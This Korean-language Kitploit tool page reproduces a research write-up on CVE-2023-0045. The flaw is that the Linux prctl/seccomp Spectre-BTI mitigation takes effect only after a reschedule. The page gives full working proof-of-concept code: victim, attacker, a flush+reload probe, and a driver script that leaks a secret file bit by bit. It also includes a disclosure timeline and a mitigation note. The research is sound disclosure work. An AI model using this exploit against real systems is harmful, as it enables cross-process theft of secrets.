Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-0045 — Linux 커널의 Spectre-BTI 사용자 공간 완화 조치를 prctl 및 seccomp를 통해 우회하고 flush+reload 사이드 채널 익스플로잇을 이용한 기술적 분석 및 개념 증명. | Kitploit
도구/GitHubGitHub/askyeye/cve-2023-0045
Vulnerability AnalysisExploitationHardware SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

Linux 커널의 Spectre-BTI 사용자 공간 완화 조치를 prctl 및 seccomp를 통해 우회하고 flush+reload 사이드 채널 익스플로잇을 이용한 기술적 분석 및 개념 증명.

저장소 보기
343년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Linux에서 Spectre-BTI 사용자 공간 완화 우회하기

이 문서는 작업 중인 문서입니다. 잘못된 점이 있거나 인용을 놓친 경우 피드백을 보내주세요.

버전 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

소개

Spectre-BTI 공격의 성공률을 테스트하던 중, 커널 API를 완화 조치로 사용할 때 이상한 패턴을 발견했습니다1. 테스트 결과, 리눅스 커널이 공격을 제대로 완화하지 못하여 시스템 콜 후 짧은 시간 동안 프로세스가 노출되는 것으로 나타났습니다.

추가 조사 결과, 커널이 시스템 콜 중에 IBPB를 즉시 발행하지 않는 것으로 나타났습니다. ib_prctl_set2 함수는 작업의 TIF(Thread Information Flags)를 업데이트하고 __speculation_ctrl_update3 함수에서 SPEC_CTRL MSR을 업데이트하지만, IBPB는 TIF 비트가 확인되는 다음 스케줄 시에만 발행됩니다. 이로 인해 피해자는 prctl 시스템 콜 이전에 이미 BTB에 주입된 값에 취약해집니다. 이 동작은 작업의 재스케줄이 발생한 후에야 수정됩니다. 게다가 (시스템 콜 자체로 인한) 커널 진입은 기본 시나리오(즉, 커널이 retpoline 또는 eIBRS를 통해 자체 보호하는 경우)에서 IBPB를 발행하지 않습니다.

prctl 완화

다음을 사용하여 spectre-BTI 공격을 완화하기 위해 prctl을 실행하면: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 커널 5.15에서 ib_prctl_set2 함수로 이어집니다. SPEC_DISABLE 옵션이 사용되면 task_set_spec_ib_disable에 대한 TIF 비트가 설정되고 task_update_spec_tif가 호출됩니다:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable은 set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);를 호출하고, 대상 작업이 현재 작업이면 speculation_ctrl_update_current();를 호출합니다.

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update 래퍼 이후의 speculation_ctrl_update_current는 tifp = ~tifp로 __speculation_ctrl_update를 실행합니다. 여기서 STIBP 설정을 위한 wrmsr 업데이트가 실행되지만 IBPB는 발행되지 않습니다:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

seccomp 시스템 콜도 arch_seccomp_spec_mitigate4 내에서 ib_prctl_set2을 완화 조치로 사용하므로, seccomp에서도 동일한 결과가 예상됩니다.

테스트

코드 분석을 통해 익스플로잇을 위한 윈도우가 존재한다는 것을 확신했지만, 피해자가 비밀을 로드하고 공격자가 이를 유출할 수 있을 만큼 충분히 큰지는 불분명했습니다(비밀은 prctl 호출이 발행될 때까지 피해자 주소 공간에 없을 것으로 예상되기 때문입니다). 테스트는 하드웨어 완화를 지원하는 베어메탈 머신에서 Ubuntu 22.04.1 LTS를 설치하여 실행했습니다:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

테스트 코드는 동일한 논리 코어에서 실행되는 두 개의 프로세스로 구성됩니다. 공격자는 피해자 프로세스에 존재하는 spectre 가젯의 주소로 BTB를 지속적으로 오염시킵니다. 피해자 프로세스는 테스트 변수가 spectre 가젯 함수에 의해 액세스되었는지 확인하여 오예측률을 측정합니다. 일반적으로 다음과 같은 출력을 반환합니다:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

그런 다음 PRCTL을 사용하여 공격을 완화합니다. 완화는 프로그램 시작 부분에 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);을 추가하여 활성화할 수 있습니다. 이는 spectre-BTI 공격을 완화할 것으로 예상됩니다:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

그러나 일부 테스트에서는 다른 결과가 나타났습니다:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

그리고 'nice' 값(우선순위)을 변경하면 오예측률에 영향을 미치는 것으로 보입니다:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

이는 prctl이 코드 분석에서 이해된 바와 같이 다음 스케줄 이후에만 프로세스를 보호했음을 나타냅니다. 이 테스트의 또 다른 이상한 동작은 잘못된 분기 이후에는 추측 경로가 수정되고 실제 값이 BTB에 기록되어야 한다는 것입니다. 형제 스레드에 BTB를 다시 오염시킬 다른 공격자가 없기 때문에 이러한 높은 오예측 값은 예상치 못한 것입니다.

개념 증명

이것이 측정 오류가 아님을 확인하기 위해 간단한 POC를 만들었습니다. 피해자 코드는 spectre-BTI 공격에 취약한 함수 포인터를 통해 항상 safe_function을 실행합니다. 피해자는 prctl 시스템 콜을 사용하여 커널에 보호를 요청합니다(protect_me 내부). 피해자는 또한 텍스트 파일에서 비밀을 로드하여 다른 시스템 콜도 TIF 비트를 확인하거나 IBPB를 강제하는 재스케줄을 유발하지 않음을 보여줍니다.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

대부분의 libc 함수는 공격자와 피해자 간의 공통 헤더 안에 배치되어 spectre_gadget 및 spec 함수가 피해자와 공격자 모두에서 동일한 메모리 주소를 공유하도록 했습니다(그렇지 않으면 .GOT 엔트리가 생성되어 주소가 변경됩니다). 이는 필수 사항이 아니며 분기를 동일한 주소에 배치하고 피해자 컨텍스트를 모방하는 다른 방법이 있지만, 이 방법이 더 간단합니다.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

공격은 spec 함수를 호출하여 BTB를 오염시키고 safe_function 대신 spectre_gadget으로 분기하도록 하는 것으로 구성됩니다. 훈련 후 피해자 프로세스가 생성되어 spec을 실행하면 spectre_gadget으로 잘못 예측하며, 이 함수는 절대 실행되어서는 안 됩니다. 비밀은 고전적인 플러시+리로드 부채널을 통해 유출됩니다.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

피해자는 부채널을 통해 유출할 비트를 선택하는 데 사용할 수 있는 인수를 받으므로, 공격자가 실행되는 동안 피해자 프로세스를 여러 번 실행할 수 있습니다:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

이것은 다음과 같은 텍스트 파일을 남깁니다:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

비트 0과 6이 1이므로 첫 번째 문자는 0x41(A)여야 합니다. 간단한 파이썬 스크립트로 파일을 파싱하면 다음과 같이 나타납니다: The secret leaked is: b'Asuper_secret_flag' 이는 피해자가 사용한 secret.txt에 있는 정확한 내용입니다.

비밀을 로드한 후 seccomp에 대한 prctl 호출을 syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);로 변경해도 공격을 막을 수 없습니다. 내부적으로 둘 다 동일한 ib_prctl_set 함수를 사용하여 완화를 구현하기 때문에 예상된 결과입니다.

결론

현재의 추측 제어를 위한 prctl 시스템 콜 구현은 완화 전에 실행되는 공격자로부터 사용자를 보호하지 못합니다. seccomp 완화도 이 시나리오에서 실패합니다.

완화 방법

사용자 모드 애플리케이션의 경우 prctl 호출 후 usleep을 사용하면 재스케줄을 강제하고 올바른 완화를 보장하기에 충분합니다. 이 공격에 대한 가능한 커널 패치 중 하나는 __speculation_ctrl_update3에서 STIBP가 설정될 때 IBPB를 동시에 발행하거나 schedule()을 호출하는 것입니다.

타임라인

  • 2022년 12월 27일 - prctl에서 예상치 못한 동작 발견

  • 2022년 12월 29일 - 이 문서의 첫 번째 버전

  • 2022년 12월 31일 - 리눅스 커널 보안 팀과 공유

  • 2023년 2월 3일 - 보고서 공개 공개: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

참고 자료:

Footnotes

  1. “The Linux kernel user-space API guide: Speculation Control”. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

도구 다운로드